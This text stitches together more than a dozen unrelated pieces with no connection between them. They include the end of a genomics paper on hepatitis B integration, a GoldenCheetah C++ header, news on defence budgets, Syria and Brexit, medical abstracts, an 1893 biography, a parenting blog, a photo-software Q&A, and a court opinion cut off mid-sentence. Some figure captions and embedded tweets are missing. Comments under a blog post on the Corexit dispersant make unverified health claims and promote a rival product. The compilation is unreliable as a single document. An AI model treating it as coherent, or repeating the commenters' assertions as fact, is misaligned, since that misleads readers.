Characteristics of human hepatoma PLC/PRF/5 cells have been reported for 40 years \[[@B36-genes-11-00661],[@B46-genes-11-00661],[@B47-genes-11-00661],[@B48-genes-11-00661]\], and several genome sequences in the present study were not reported in detail. Watanabe et al. extensively analyzed the characteristics of human hepatoma PLC/PRF/5 cells using other NGS strategies \[[@B49-genes-11-00661]\]. However, they did not report the translocation of chromosomes (5; 13) with HBV integrants, which the present study has mentioned, suggesting that the HBV sequence capture-based NGS method is the more powerful and sensitive tool for the analysis of HBV integrants.
Characteristics of human hepatoma PLC/PRF/5 cells may not reflect those of human HCC samples. It may be useful to analyze the HBV integrants in human HCC samples by our methods, although there may be false-positives in their analysis and their impact when real clinical samples that contain high levels of circulating virus are used. A similar approach has already been used for the identification of HBV integration in the human genome of clinical samples \[[@B12-genes-11-00661]\]. Compared to the method reported by Li et al. \[[@B12-genes-11-00661]\], our method does not require special computational analysis. The limitation of our study is that we did not use clinical samples. Further study is needed.
5. Conclusions {#sec5-genes-11-00661}
==============
The HBV replication mechanism and the mechanism of integration, its functions, and the clinical impact on hepatocarcinogenesis remain largely unknown. HBV sequence capture-based NGS is a useful and powerful tool for the assessment of HBV genome integration to explore HBV genome integrants and their locations in the human genome. Clinical impact on hepatocarcinogenesis and new treatment strategies can be provided through this method.
The authors thank all staff members at the Nihon University School of Medicine, Itabashi Hospital, for the care provided.
Conceptualization, T.I., A.T., K.K., and M.M. (Mitsuhiko Moriyama); methodology, T.I., A.T., M.S., K.K., and M.M. (Mitsuhiko Moriyama); software, M.S., A.T., T.S., and K.K.; validation, M.S., A.T., T.S., and K.K.; formal analysis, M.S., A.T., T.S., and K.K.; investigation, T.I., M.S., A.T., T.S., and K.K.; resources, M.S., A.T., T.S., and K.K.; data curation, M.S., A.T., T.S., and K.K.; writing---original draft preparation, T.I., A.T., and T.K.; writing---review and editing, T.I. and T.K.; visualization, T.K.; supervision, M.M. (Masashi Mizokami); funding acquisition, M.M. (Mitsuhiko Moriyama); All authors have read and agreed to the published version of the manuscript.
This research was funded by a Nihon University Multidisciplinary Research Grant (15-009 to M.M. (Mitsuhiko Moriyama)).
The authors declare no conflict of interest.
![Phylogenetic tree for the hepatitis B virus (HBV) full-length genome obtained in the present study as determined by neighbor-joining (NJ) methods. **Black circle**, PLC-HBV (LC533934); **blue square**, reference sequences in the present study. GT-Ae, the original European genotype A; GT-Aa, the new African/Asian genotype A. The accession numbers of sequences of various HBV genotypes (GTs) are indicated \[[@B21-genes-11-00661],[@B22-genes-11-00661],[@B23-genes-11-00661],[@B27-genes-11-00661],[@B28-genes-11-00661]\].](genes-11-00661-g001){#genes-11-00661-f001}
{#genes-11-00661-f002}
{#genes-11-00661-f003}
{#genes-11-00661-f004}
genes-11-00661-t001_Table 1
######
The mapped reads and average coverage of hepatitis B virus (HBV) sequence capture-based next-generation sequencing in the present study.
Reference Sequence Reference Length Consensus Length Total Reads Single Reads Reads in Pairs Average Coverage
-------------------- ------------------ ------------------ ------------- -------------- ---------------- ------------------
Chr. 1 2.49 × 10^8^ 1,545,531 190,160 18,518 171,642 0.076008
Chr. 2 2.43 × 10^8^ 1,344,151 171,652 23,708 147,944 0.06996
Chr. 3 1.98 × 10^8^ 985,756 134,430 19,312 115,118 0.067181
Chr. 4 1.91 × 10^8^ 763,084 101,024 27,548 73,476 0.051384
Chr. 5 1.81 × 10^8^ 878,501 107,805 12,905 94,900 0.059238
Chr. 6 1.71 × 10^8^ 978,370 143,424 13,186 130,238 0.083435
Chr. 7 1.59 × 10^8^ 1,044,242 136,171 13,449 122,722 0.085094
Chr. 8 1.46 × 10^8^ 762,738 93,417 14,827 78,590 0.063299
Chr. 9 1.41 × 10^8^ 599,234 65,741 9779 55,962 0.046138
Chr. 10 1.36 × 10^8^ 769,055 110,259 27,795 82,464 0.079924
Chr. 11 1.35 × 10^8^ 863,578 2,006,583 126,939 1,879,644 1.488781
Chr. 12 1.34 × 10^8^ 736,429 115,138 21,172 93,966 0.084807
Chr. 13 1.15 × 10^8^ 412,243 58,815 10,367 48,448 0.050038
Chr. 14 1.07 × 10^8^ 455,809 53,252 4762 48,490 0.049338
Chr. 15 1.03 × 10^8^ 490,545 348,653 17,775 330,878 0.338605
Chr. 16 90,354,753 563,883 114,919 48,517 66,402 0.122922
Chr. 17 81,195,210 524,407 106,805 25,583 81,222 0.128115
Chr. 18 78,077,248 394,380 52,617 7057 45,560 0.067025
Chr. 19 59,128,983 447,625 53,263 7119 46144 0.089332
Chr. 20 63,025,520 474,048 68,184 5948 62,236 0.107619
Chr. 21 48,129,895 254,738 32,117 4913 27,204 0.0658
Chr. 22 51,304,566 253,101 29,371 3049 26,322 0.05685
Chr. X 1.55 × 108 674,067 73,717 8491 65,226 0.047146
Chr. Y 59,373,566 100,605 8838 8018 820 0.013505
Chr. MT 16,569 14,178 4540 172 4368 27.45869
HBV 3215 3213 1,784,734 448,408 1,336,326 53,732.01
Chr., chromosome (Hg19); MT, mitochondria; HBV, hepatitis B virus (AB014378) showing 90% (2915/3220) homology to full-length HBV sequence (PLC-HBV).
genes-11-00661-t002_Table 2
######
HBV and human genomes in PLC/PRF/5 cells determined by HBV sequence capture-based next-generation sequencing.
Human Chromosome (Chr.) Human Junction Nucleotide Position Gene Name HBV Fragment Start Position HBV Fragment End Position HBV Genome Number of Total Reads \*
------------------------- ------------------------------------ ----------- ----------------------------- --------------------------- ------------ --------------------------
Chr.3 131170552 NA 1044 1406 P, S, X 3673
Chr.3 131171957 NA 1415 1914 C, P, S, X 3589
Chr.4 181507570 NA 96 432 P, S 1548
Chr.4 181508764 NA 235 387 P, S 4377
Chr.5 1297593 NA 1175 1364 P, S 3680
Chr.8 35304663 UNC5D 2389 2862 C, P, S 4625
Chr.11 64808415 SNX15 1313 1575 P, S, X 5911
Chr.11 64808432 SAC3D1 2575 2851 P, S 6616
Chr.12 110012332 MVK 692 1379 P, S, X 10,130
Chr.13 33662251 NA 1897 2109 C, P, S 4060
Chr.13 33662698 NA 783 1612 P, S, X 1494
Chr.17 80063662 CCDC57 428 2586 P, S 7699
Chr.17 80065497 CCDC57 2062 2420 C, P, S 6918
Chr., chromosome (Hg19); NA, not available; UNC5D, unc-5 netrin receptor D; SNX15, sorting nexin 15; SAC3D1, SAC3 domain-containing 1; MVK, mevalonate kinase; CCDC57, coiled-coil domain-containing 57; HBV, hepatitis B virus; C, core; P, polymerase; S, surface antigen; X, HBx; \*, confirmed by HBV sequence capture-based next-generation sequencing.
|
/*
* Copyright (c) 2012 Mark Liversedge (liversedge@gmail.com)
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 2 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc., 51
* Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#ifndef CONFIGDIALOG_H
#define CONFIGDIALOG_H
#include "GoldenCheetah.h"
#include <QDialog>
#include <QSettings>
#include <QMainWindow>
#include <QStackedWidget>
#include "Pages.h"
#include "Context.h"
class QListWidget;
class QListWidgetItem;
class QStackedWidget;
class Context;
// GENERAL PAGE
class GeneralConfig : public QWidget
{
Q_OBJECT
public:
GeneralConfig(QDir home, Context *context);
GeneralPage *generalPage;
public slots:
qint32 saveClicked();
private:
QDir home;
Context *context;
};
// APPEARANCE PAGE
class AppearanceConfig : public QWidget
{
Q_OBJECT
public:
AppearanceConfig(QDir home, Context *context);
public slots:
qint32 saveClicked();
private:
QDir home;
Context *context;
ColorsPage *appearancePage;
};
// METADATA PAGE
class DataConfig : public QWidget
{
Q_OBJECT
public:
DataConfig(QDir home, Context *context);
public slots:
qint32 saveClicked();
private:
QDir home;
Context *context;
MetadataPage *dataPage;
};
// METRIC PAGE
class MetricConfig : public QWidget
{
Q_OBJECT
public:
MetricConfig(QDir home, Context *context);
public slots:
qint32 saveClicked();
private:
QDir home;
Context *context;
BestsMetricsPage *bestsPage;
IntervalMetricsPage *intervalsPage;
SummaryMetricsPage *summaryPage;
CustomMetricsPage *customPage;
};
// TRAIN PAGE
class TrainConfig : public QWidget
{
Q_OBJECT
public:
TrainConfig(QDir home, Context *context);
public slots:
qint32 saveClicked();
private:
QDir home;
Context *context;
DevicePage *devicePage;
TrainOptionsPage *optionsPage;
RemotePage *remotePage;
SimBicyclePage *simBicyclePage;
};
// INTERVAL PAGE
class IntervalConfig : public QWidget
{
Q_OBJECT
public:
IntervalConfig(QDir home, Context *context);
public slots:
qint32 saveClicked();
private:
QDir home;
Context *context;
IntervalsPage *intervalsPage;
};
class ConfigDialog : public QMainWindow
{
Q_OBJECT
G_OBJECT
public:
ConfigDialog(QDir home, Context *context);
~ConfigDialog();
public slots:
void changePage(int);
void saveClicked(); // collects state
void closeClicked();
private:
QSettings *settings;
QDir home;
Context *context;
QStackedWidget *pagesWidget;
QPushButton *saveButton;
QPushButton *closeButton;
// the config pages
GeneralConfig *general;
AppearanceConfig *appearance;
DataConfig *data;
MetricConfig *metric;
IntervalConfig *interval;
TrainConfig *train;
};
#endif
|
Defense Secretary Robert Gates is warning Congress and the Pentagon brass that military spending must receive harsh scrutiny in the face of the nation’s tough economic times and large deficit.
Gates on Saturday said that it is “highly unlikely” the defense budget will grow in the coming years and challenged lawmakers to stop funding programs that the Pentagon does not want, such as more Boeing C-17 cargo airplanes and the General Electric-Rolls Royce secondary engine for the F-35 Joint Strike Fighter.
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Gates also said he is directing both the military and defense civilians to slash overhead, and take a “hard, unsparing look” at how they operate.“What it takes is the political will and willingness…to make hard choices — choices that will displease powerful people both inside the Pentagon and out,” Gates said on Saturday in a pointed speech at Eisenhower Library in Abilene, Kan., on the 65th anniversary of the end of World War II in Europe.Gates delivered his message of budget austerity in a symbolic location: Dwight Eisenhower warned against a military-industrial complex when he left office in 1961.“Eisenhower was wary of seeing his beloved republic turn into a muscle-bound, garrison state—militarily strong, but economically stagnant and strategically insolvent,” Gates said.Gates acknowledged that saving money in the defense budget “will mean overcoming steep institutional and political challenges, many lying outside the five walls of the Pentagon.”Apart from making the case against the alternate engine for the F-35 and more C-17s, Gates raised the alarm over Congress’s resistance to increasing the premiums and co-pays on the military’s health insurance. The Pentagon has attempted in the last several years to make modest increases to the co-pays and premiums in order to bring the health care costs under control, Gates said.“Leaving aside the sacred obligation we have to America’s wounded warriors, healthcare costs are eating the Defense Department alive, rising from $19 billion a decade ago to $50 billion—roughly the entire foreign affairs and assistance budget of the State Department,” Gates said.The premiums for the health insurance program have not risen since the program was founded more than a decade ago, Gates added.Gates also challenged the bureaucracy that supports the military mission and took aim at scores of flag officers—generals and admirals—as well as the numbers of senior civilian executives.“Another category ripe for scrutiny should be overhead,” he said. “According to an estimate by the Defense Business Board, overhead, broadly defined, makes up roughly 40 percent of the Department’s budget.”Gates said the Pentagon’s approach to coming up with the requirements for specific programs and contract must change. Requirements for weapons systems should be based on a “wider real world context,” he said.“For example, should we really be up in arms over a temporary projected shortfall of about 100 Navy and Marine strike fighters relative to the number of carrier wings, when America’s military possesses more than 3,200 tactical combat aircraft of all kinds?” Gates asked in a reference to the congressional push to buy more Boeing F/A-18 Super Hornet fighter jets.“Does the number of warships we have and are building really put America at risk when the U.S. battle fleet is larger than the next 13 navies combined, 11 of which belong to allies and partners? Is it a dire threat that by 2020 the United States will have only 20 times more advanced stealth fighters than China?”Gates said that those are the kind of questions that the government should be asking and consequently finding an answer in order “to have a balanced military portfolio geared to real world requirements and a defense budget that is fiscally and politically sustainable over time.” |
Nalco…not just following orders…
Not your momma's dish soap...
Nalco, the makers of Corexit disperant, are on the line for what could be hundreds of thousands of personal injury claims with the company’s request for immunity being quashed yesterday in a ruling by US District Court Judge Carl Barbier.
The chemical company, whose product British Petroleum execs once called safe as dish soap had requested immunity from any lawsuit because they claimed to be just following orders from President Obama in giving the chemical to BP for use.
Barbier, however, called bullshit on that.
It turns out that whole disagreement between the EPA and British Petroleum on what dispersant to use might have consequences after all.
Who knew?
For those who’ve forgotten:
Judge Barbier writes:
“‘After the disaster, BP began implementing a disaster response plan to prevent oil from escaping the blown out well, to manually contain the oil, and to disperse oil in the water using Nalco’s chemical dispersants….”‘Upon information and belief, immediately after the Deepwater Horizon disaster, on or about April 23, 2010, BP began subsea and aerial application of chemical dispersants manufactured by Defendant Nalco to the resulting oil slicks and sheens on the surface of the Gulf.
“‘On or about May 19, 2010, the U.S. Environmental Protection Agency (EPA) Administrator directed BP within 24 hours of issuance to identify and to change to chemical dispersants that are less toxic than Nalco’s Corexit® dispersants BP had been using…On May 20, 2010, BP objected to changing dispersants and notified the EPA that it would continue using Nalco’s Corexit. BP and clean-up defendants used and, upon information and belief, continue to use the dispersants Corexit® 9500 and 9527 (more than 1.8 million gallons to date) to disperse the crude oil…”
Oops.
You see, if the EPA hadn’t objected to BP’s use of Corexit, then Nalco would have automatic immunity, granted to them by legal provisions in both the government contractor defense and the Clean Water Act. But the EPA did object, ordering the company to find a less toxic alternative and British Petroleum, with financial connections to Nalco, said too bad, were using it anyway.
And whereas Nalco might be forgiven for mistaking BP for the government last summer, their role in the spray of their chemicals which, as the plaintiffs allege “may lead to serious problems, disease, and medical conditions’ and plaintiffs are at a ‘significantly increased risk of contracting serious latent disease,” is unforgivable.
And really, if your product is so safe, what the hell do you need immunity for anyway?
5 thoughts on “Nalco…not just following orders…”
Alternatives WERE offered up that were less toxic than Nalco’s Corexit (even by Exxon’s own toxicology reports, back when Exxon owned it openly and Exxon Biologicals did those tests — how convenient!) Each and every one was categorically refused by both BP and the EPA.
The EPA ordered additional Corexit after the first 800,000 gallons were used up, another 600,000 gallons (totaling 1.4 million gallons at the time.) It came out of Lisa Jackson’s own mouth.
The financial tie-in we discovered is pretty damning. I was in regular contact with Bruce Gebhardt of US Polychemical, and he was all but begging them to use his product. He went down to the Gulf on more than one occasion, but was categorically turned away.
The EPA was founded to enforce the Clean Water and Clean Air Acts, just months after they were passed. They had authority, and could have gone further up if their autonomy was being ignored. At that point, if Lisa Jackson had asked for audience with the President, she’d have gotten it. Yet BP went unchallenged, acting with impunity, AND with US Coast Guard assistance. I have no faith or confidence in that organization (or our government overall) when it comes to protecting our oceans.
Nice addition and thanks…post not meant to whitewash the complicity of the EPA…more to demonstrate that by EPA initially objecting, this nullified the immunity Nalco trying to claim…an immunity they do not deserve…
Absolutely. I’d like to repeat the testing that Exxon Biologicals did back in the late 80’s (as I recall) when Exxon developed the stuff in the first place.
Another convenient statistical lie is the toxicity itself. Yes, it kills fish fry in 96 hours at 2.6 ppm. But the same fry ALL die at far lower doses within 2 weeks. So just because it’s not highly concentrated, doens’t mean the stuff isn’t lethal.
I believe that Corexit was the cause of the 10x mortality rate of baby dolphins this spring as well. Ten times the normal/expected rate is no coincidence… and that’s just the shoreline species (bottlenose). The off-shore species’ corpses likely never got as far as a beach.
OSE II, The EPA has for 23 years narrowed the response for oil spills to only include the antiquated, outdated response of Exxon’s product dispersants, and mechanical clean up. EPA knew before the BP spill the horrific consequences that come with the use of Corexit 9527A from the Valdez response, yet they would not allow any other response for 23 years. Then when the EPA was confronted with the use of Exxon’s corexit 9527A they forced BP to switch to another Exxon product that was equally as horrific as the first Exxon dispersant, Neither product offers up any benefit for oil spill response. The EPA has known for over 20 years a product not in the dispersant category, but a far superior response product the EPA has even lied about to prevent its use, violating their charter and mission to the environment and US citizens.
Oil Spill Eater II There was a non toxic Alternative to clean up the spill that has been successfully tested by BP after 10 months of spill damages. The Coast Guard sent a letter from headquarters stating to the FOSC to take action with OSE II, and the EPA, Lisa Jackson stopped the Coast Guard from allowing BP from implementing OSE II. In fact the EPA stopped the application of OSE II 11 times denying State Senators direct request for use of OSE II from Louisiana, Mississippi, and Alabama. La Department of environmental requested the use of OSE II as well, EPA’s Sam Coleman denied their request without reason. Governor Jindal tried to get OSE II demonstrated on the Chandelier Islands on May 6, 2010, and the EPA stopped the Governor as well. The EPA in fact stopped the use of OSE II 11 times, without a reason given. Had the EPA allowed Governor Jindal to allow the demonstration of OSE II on May 6, 2010, it is possible a significant portion of the environmental damages, including the shorelines and the seafood industry would have been spared. The toxicty test comparison between OSE II and corexit really cannot be compared since with corexit, the label states it can cause red blood cells to burst, kidney, and liver problems if a chemical suit and respirator are not worn. OSE II in contrast can be used to wash your hands and is non toxic. The BP Deep Horizon spill has proven that corexit only sinks oil and causes the same oil to be addressed a second time when it comes ashore as under water plumes, or tar balls, while OSE II has a substantiated end point of converting oil to CO2 and water. See Coast Guard letter below
We are pleased to inform you that the initial screening of your White Paper submitted under Broad Agency Announcement (BAA) HSCG32-10-R-R00019 has been completed. It has been determined that your White Paper submission has a potential for benefit to the spill response effort.
Your White Paper has been forwarded to the Deepwater Horizon Response Federal On-Scene Coordinator (FOSC) for further action under its authority. Subject to the constraints and needs of the ongoing oil spill response, you may be contacted by the FOSC or the responsible party. |
Lifestyle, stress, and genes in peptic ulcer disease: a nationwide twin cohort study.
The familial accumulation of peptic ulcer disease observed in several studies may be attributable to genetic effects, aggregation of environmental exposure (shared environment), or both. The intrafamilial spread of Helicobacter pylori infection has raised the question whether shared environment could explain the familial aggregation of peptic ulcer disease rather than genetic similarity of family members. To examine the contribution of genetic and environmental factors to the pathogenesis of peptic ulcer disease in a nationwide population-based cohort of adult twins. The Finnish Twin Cohort consists of all same-sexed twin pairs born before 1958 with both twins alive in 1975. The total number of twin pairs is 13888, of whom 4307 are monozygotic (MZ) and 9581 are dizygotic (DZ) twins. Questionnaire surveys of twins were carried out in 1975, 1981, and 1990, including medical and psychosocial questions. One question asked whether a physician had ever made a diagnosis of gastric or duodenal ulcer. In addition, hospital discharge data from 1972 to 1991 were linked with the twin cohort to obtain those twin individuals who had been treated for gastric or duodenal ulcer. The prevalence of and concordance for peptic ulcer disease were examined in MZ and DZ twins. Model-fitting analysis was used to specify the relative roles of genetic and environmental factors. The contribution of lifestyle factors and stress was examined prospectively in an incidence study and by comparison of discordant pairs. The prevalence of peptic ulcer disease was 6.2% in men and 2.8% in women in 1975. There were 63 MZ and 86 DZ pairs concordant for peptic ulcer disease. Concordance for disease was significantly higher in MZ than in DZ twin pairs; the probandwise concordance rate was 23.6% (95% confidence interval [CI], 20.9%-26.3%) in MZ twins and 14.8% (95% CI, 13.3%-16.3%) in DZ twins. In the model-fitting analysis, a model with both additive genetic and unshared environmental effects had the best goodness-of-fit. Thirty-nine percent (95% CI, 32%-47%) of the liability to peptic ulcer disease was explained by genetic factors and 61% (95% CI, 53%-68%) by individual environmental factors. In the incidence study (logistic regression analysis of the entire cohort initially free of peptic ulcer disease, with subjects diagnosed as having peptic ulcer after 1975 as cases), current smoking (relative risk, 2.2; 95% CI, 1.5-3.2) and high stress levels (relative risk, 3.2; 95% CI, 1.4-7.6) in men and regular use of analgesics (relative risk, 3.3; 95% CI, 1.3-8.1) in women predicted peptic ulcer disease during the follow-up from 1976 to 1991. In the analysis of discordant pairs, smoking in men and regular use of analgesics in both sexes were predictors of peptic ulcer disease. The questionnaire and hospital usage data on peptic ulcer disease in the population-based twin cohort suggest that the familial aggregation of the disease is modest, and attributable almost solely to genetic factors. Environmental effects not shared by family members were significant predictors of disease, and they were attributable to smoking and stress in men and the use of analgesics in women. The minor effects of shared environment to disease liability do not support the concept that the clustering of risk factors, such as H pylori infection, would explain the familial accumulation of peptic ulcer disease. |
Armed men killed 68 people yesterday in a “massacre” in the rebel central province of Homs, the Syrian Observatory for Human Rights head said.
Aleppo, rise up! Shake the presidential palace
“Sixty-eight civilians were killed today in the western countryside of Homs, in a rural area between the villages of Ram al-Enz and Ghajariyeh, and were taken to the state hospital in the city of Homs,” said Rami Abdel Rahman.
“The bodies bore signs of gunfire and knife wounds,” the head of the Britain-based monitoring group added.
According to Mr Abdel Rahman, “the Observatory received information indicating that the victims were residents displaced from the city of Homs” which has been bombarded by regime forces for 24 straight days.
“They were killed by ‘shabiha’ (pro-regime gunmen),” according to the reports received by the Observatory, Mr Abdel Rahman said. “But we cannot confirm or deny this information.”
The Observatory called for an independent investigation into the killings which the group labelled a “massacre”. The Local Coordination Committees, a network of activists, also reported a massacre in the Homs region.
A statement from the group said that “64 people who were trying to flee the bombardment in Baba Amr (district of the city of Homs) were killed at a security checkpoint in the Abel region of Homs.”
Meanwhile hundreds of students in Aleppo, Syria’s second city largely spared anti-regime protests and the ensuing crackdown, called yesterday for the city to join the revolt, monitors and activists said.
“Hundreds of students protested Monday against the regime at the University of Aleppo,” the country’s economic hub, said Rami Abdel Rahman, head of the Syrian Observatory for Human Rights.
Protesters at the science and computer science faculties called for the “execution of president” Bashar al-Assad, according to activists calling themselves “the Union of Free Students in Syria,” contacted by AFP on Skype.
At the department of dentistry, a statue of former president Hafez al-Assad was demolished, they said.
“Aleppo, rise up! Shake the presidential palace,” chanted students at the faculty of civil engineering, according to a video posted online whose authenticity could not be confirmed. |
Autopsy Case of Bilateral Optic Nerve Aplasia with Microphthalmia: Neural Retina Formation Is Required for the Coordinated Development of Ocular Tissues.
Human congenital anomalies provide information that contributes to the understanding of developmental mechanisms. Here we report bilateral optic nerve aplasia (ONA) with microphthalmia in the autopsy of the cadaver of a 70-year-old Japanese female. The gross anatomical inspection of the brain showed a cotton thread-like cord in the presumed location of the optic nerve tract or chiasm. Histologically, no neural retina, optic nerve bundle or retinal central vessels were formed in the eye globe, and the retinal pigment cells formed rosettes. The cornea, iris, and lens were also histologically abnormal. Immunohistochemically, no retinal cells expressed beta III tubulin, and Pax6- immunoreactive cells were present in the ciliary non-pigmented epithelial cells. This case of ONA could be attributed to the agenesis of retinal projection neurons as a sequel to the disruption of neural retina development. The neural retina formation would coordinate the proper development of ocular tissues. |
Crenshaw County AlArchives Biographies.....Quillian, Thomas L. 1830 - living in 1893
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Copyright. All rights reserved.
http://www.usgwarchives.net/copyright.htm
http://www.usgwarchives.net/al/alfiles.htm
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File contributed for use in USGenWeb Archives by:
Ann Anderson alabammygrammy@aol.com May 18, 2004, 12:38 pm
Author: Brant & Fuller (1893)
DR. THOMAS L. QUILLIAN, physician and surgeon, of Honoraville, was born in
Habersham county, Ga., in 1830. He is a son of Henry K. and Aley (Hancock)
Quillian, the former a native of Franklin county, Ga., born in 1808, and the
latter born in North Carolina in 1805. When a girl Mrs. Quillian came with her
parents to Habersham county, Ga., where she was raised and married. Both she and
her husband received a common school education, and when Dr. T. L. Quillian was
twelve years old they removed to Macon county, Ala., and still later to Auburn,
where Mr. Quillian died in December, 1873. The subject's mother had died in
1853. Both of these people were members of the Methodist Episcopal church. He
was a tanner and shoe manufacturer many years at Auburn and at Society Hill. He
was postmaster at Auburn some years, was for a short time a justice of the
peace, and was the first sheriff of Gilmer county, Ga. He was a Mason a good
many years, and was a liberal supporter of all public enterprises. He was a whig
until the war came on, but was never a politician. He was one of a family of six
sons and two daughters, he being the oldest. Their father, Clemonds Quillian,
was probably a Virginian, but spent the greater part of his life in Whitfield
county, Ga. He was a farmer, and was at one time tax collector of Murray and
also of Whitfield county, Ga. For a good many years he represented Gilmer
county, Ga., in the legislature. He was of Scotch parentage, and was probably of
the first generation born in this country. The maternal grandfather of our
subject, William Hancock, removed from North Carolina to Georgia when Mrs.
Quillian was an infant, and died in Habersham county, as also did his wife. Dr.
Quillian was the youngest of a family of two sons and one daughter, viz.:
Parmelia A., deceased wife of W. K. Jones, and William Clemonds, who was a
harnessmaker by trade, and was in the late war with Bragg and died in northern
Alabama in 1874. Thomas L. was raised partly on the farm and partly in the shop
with his father. He was principally educated at Auburn and at Dahlonega, Ga.,
receiving a good academic education, and then read medicine with Dr. James E.
Ellison, of Macon county, Ala., and in 1854 graduated from the Augusta Medical
college and practiced in Hamilton county, Tenn., one year. He then went to
Dalton, Ga., and in 1856 came to what is now Crenshaw county, Ala., five miles
northwest of where Rutledge is situated, and has since then practiced in this
vicinity. He has lived for twenty-five years on the present farm, ten miles
northwest of Rutledge. He is one of the oldest physicians of the county, and one
of its most prominent planters. He owns 353 acres of fine land. He was married
in 1860 to Sarah A. Bozeman, who was born in Lowndes county, Ala., and who was a
daughter of Eldred and Jane Bozeman, who came from Georgia to Alabama at an
early day. Mr. Bozeman died in what is now Crenshaw county very suddenly while
attending church. He was a resident of Butler county at the time. Dr. Quillian
had three children by his first wife. They were Mary Beulah, wife of E. J.
Pollard; Henry Etheldred, of Montgomery; Frances Clements, wife of W. H. Dry, of
Butler county. In 1881 the doctor married Sarah W., daughter of James and Mary
Daniel, a cousin of his first wife, who was born in Lowndes county. In January,
1862, the doctor joined company I, First Alabama cavalry (Clanton's), and
operated in north Alabama and Mississippi, fighting at Shiloh and in minor
engagements in that part of the country, but on June 7, 1862, at Saltillo,
Miss., he was discharged on account of ill health. Since that time he has been
continuously engaged in the practice of medicine. He is a prominent member of
the Crenshaw county Medical society. He is a member of Camp Creek lodge, No.
251, F. & A. M., having been a member since 1864, and secretary many years. He
was worshipful master several times. He has been a member of the Methodist
Episcopal church, south, for a good many years, while his wife is a member of
the Primitive Baptist church. Both stand high in social esteem, and strive to
advance the community in all religious and educational matters to the extent of
their ability.
Additional Comments:
from "Memorial Record of Alabama", Vol. I, p. 791-792
Published by
Brant & Fuller (1893)
Madison, WI
This file has been created by a form at http://www.genrecords.org/alfiles/
File size: 4.8 Kb |
[Posterior segment intraocular foreign bodies. Clinical and epidemiological features].
To evaluate the epidemiologic factors, associated ocular involvement and visual results in patients with intraocular foreign bodies lodged in the posterior segment. In this retrospective study, the clinical records of 21 patients admitted to the hospital with intraocular foreign bodies between August 1994 and March 1998 were reviewed and evaluated in regards to age, gender, type of injury, foreign body nature, need for surgical intervention, complications and final visual acuity. All the patients were males, with a mean age of 38.7 years and an average follow-up period of 15.04 months. The foreign bodies were caused by work accidents in 2/3 of the cases and 71.4% involved ferromagnet metal. Sixteen patients underwent vitrectomy to remove the intraocular foreign body. Final visual acuity was equal to or greater than 0.4 in 57.9% of the patients and there was no light perception in 15.7%. The principal late complications were retinal detachment (19.04%), pthisis bulbi (14.2%) and cataracts (9.5%). Most of the intraocular foreign bodies are found in young males as a consequence of work accidents. Most patients require vitrectomy to remove the foreign body and even though good visual results are obtained in many cases, other cases suffer severe visual loss. |
Wednesday, August 13, 2008
Yankees Monkey
Sometimes the kids bust out with the most random memories and I don't even know what to say. Molly's stuffed animals have had a long history of injuries. First there was the stuffed doll that Grandma got her for her birthday. Ever pushing the envelope, Grandma chose a nice boy doll of Asian heritage - which of course Molly had no interest in. We named him Hideki in honor of the great Yankee. Grandma very solemnly bandaged stuffed-Hideki when real-Hideki sprained his wrist. Every day Molly would ask if we could take the bandage off and every time Grandma would reply "not yet" until that exciting day when both real and pretend Hideki had healed.When Molly was around 3 her Dad and I went to a Yankees game and brought back Yankees monkeys for both girls. Kelly's lived a carefree and injury free life. But poor Molly's monkey was - alas - very delicate. He had several neck surgeries, and at least two and maybe three limb re-attachments. This was at least a year ago, and I think even two.
And then out of nowhere today, I hear her telling Kelly (who was upset her brand-new plastic Disney fairy's head had fallen off) about her Yankees monkey. "Kelly, Kelly, Kelly. Do you remember? My Yankees monkey? Daddy got it for me from the Yankees game? It had a little fluff sticking out of the neck? Grandma put a bandage on it? I couldn't touch it? And then after the bandage came off, the head still fell off! It was a very delicate monkey. Not like yours. Yours never had any problems. Well, your fairy is like my Yankees monkey. It is always going to give you trouble. The head will fall off. It won't stay on when you put it back. But grandma will try and fix it. Try. Some things are just really delicate, even if they get fixed." |
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Q:
How can I export EXIF metadata from Apple Aperture?
I'm trying to export the EXIF metadata from my photo archives so that I can do some analysis of which focal lengths I use the most. Aperture has a "File --> Export --> Metadata..." option, but that seems to only include IPTC metadata and not EXIF info.
Is there any way to export the EXIF metadata to a text file?
A:
It turns out that Automator has an Aperture "Extract Metadata" action that has access to all of the EXIF fields.
I was able to solve my problem using a simple Automator workflow that performs the following steps:
(Aperture) Get selected items
(Aperture) Extract Metadata -- With the option for "Tabbed Text" output.
(Text) New Text Document
I have uploaded the Automator workflow as Extract Focal Length.workflow for reference. This workflow took about 30-minutes to run on 10,000 images, but at least I got the data I needed out.
One note, be sure to collapse the steps so that the results aren't displayed in Automator if you are running this on many items as this will slow it down dramatically.
|
To Share click →
After the violent attacks on the Charlie Hebdo offices in Paris that killed 12 Wednesday, media tycoon and News Corp. owner Rupert Murdoch shared his less-than-understanding opinion of the situation on Twitter:
Leave it to author J.K. Rowling to offer exactly what Murdoch, and anyone else who thinks like him, needs to hear: |
Britain has not formally assessed impact of Brexit on economy: minister
Britain has not conducted a formal sector-by-sector analysis of the impact that leaving the European Union will have on the economy, Brexit minister David Davis said on Wednesday, arguing they were not necessary at the current time.
The comments are likely to inflame critics of the government's handling of the complex divorce process at a time when talks with Brussels have stalled because of a row over how to manage the Irish border after Brexit.
Davis has become embroiled in a long-running argument with lawmakers from across parliament over what preparatory work the government has undertaken, and how much of it should be made public.
“There's no systematic impact assessment I'm aware of,” Davis told a parliamentary committee, saying it would be more appropriate to conduct such analysis later in the negotiating process.
That drew immediate criticism from lawmakers on the committee, who said Davis was contradicting his previous statement that the government had analyses of the sectoral impact that went into “excruciating detail”.
Stay updated on the go with The Daily Star News App. Click here to download it for your device. |
IN THE COURT OF APPEALS OF TENNESSEE
AT NASHVILLE
MARCH 20, 2003 Session
DANIEL BILLS, JR., ET AL. v. CONSECO INSURANCE CO.
Direct Appeal from the Chancery Court for Sumner County
No. 2001C-296 Tom E. Gray, Chancellor
No. M2002-01906-COA-R3-CV - Filed October 28, 2003
Holly M. Kirby, J., concurring separately.
I write separately for two reasons. First, to emphasize the need for the legislature to address
